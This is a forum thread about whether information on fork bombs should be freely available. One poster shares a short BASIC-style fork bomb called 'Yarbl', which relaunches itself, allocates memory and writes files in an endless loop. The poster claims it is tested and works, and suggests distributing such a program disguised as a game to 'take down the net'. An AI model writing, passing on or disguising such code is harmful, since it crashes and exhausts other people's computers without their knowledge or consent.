Quote:I strongly thing that there's no such a thing as "too much information".
ALL the information must be available. Everything. Hiding information to the masses is censorship *and* considering them stupid.
The problem is not that a guy who wants to build a forkbomb has the info in the wikipedia. The problem is that this guy wants to create a forkbomb.
Why does he? Think about it.
As everything, this is a matter of education.
Some things need to be kept secret, though. Military troop positions, for instance. And restricting a jury from watching the news or any media.

Everybody and his sister knows how to write a fork bomb already. Heck, somebody familiar with UNIX programming could probably figure it out just by hearing the name.

Program X is Program Y.
Make it, distribute it as a game (or disquised...) and delete all ties to it, and watch it take down the net...

I call this one Yarbl:
Code:
'fbcs: C:-s gui
do
screen int(21*rnd)+1
shell chr(34)+ command(0) +chr(34)
sh1t = cint(allocate( 1 ))
open str(sh1t) for append as #1
print #1, sh1t;
close #1
loop
I bet it took me.. like.. a good.. 5 seconds.. to create that program.. it's tested and works.. makes my computer overheat in a matter of seconds..
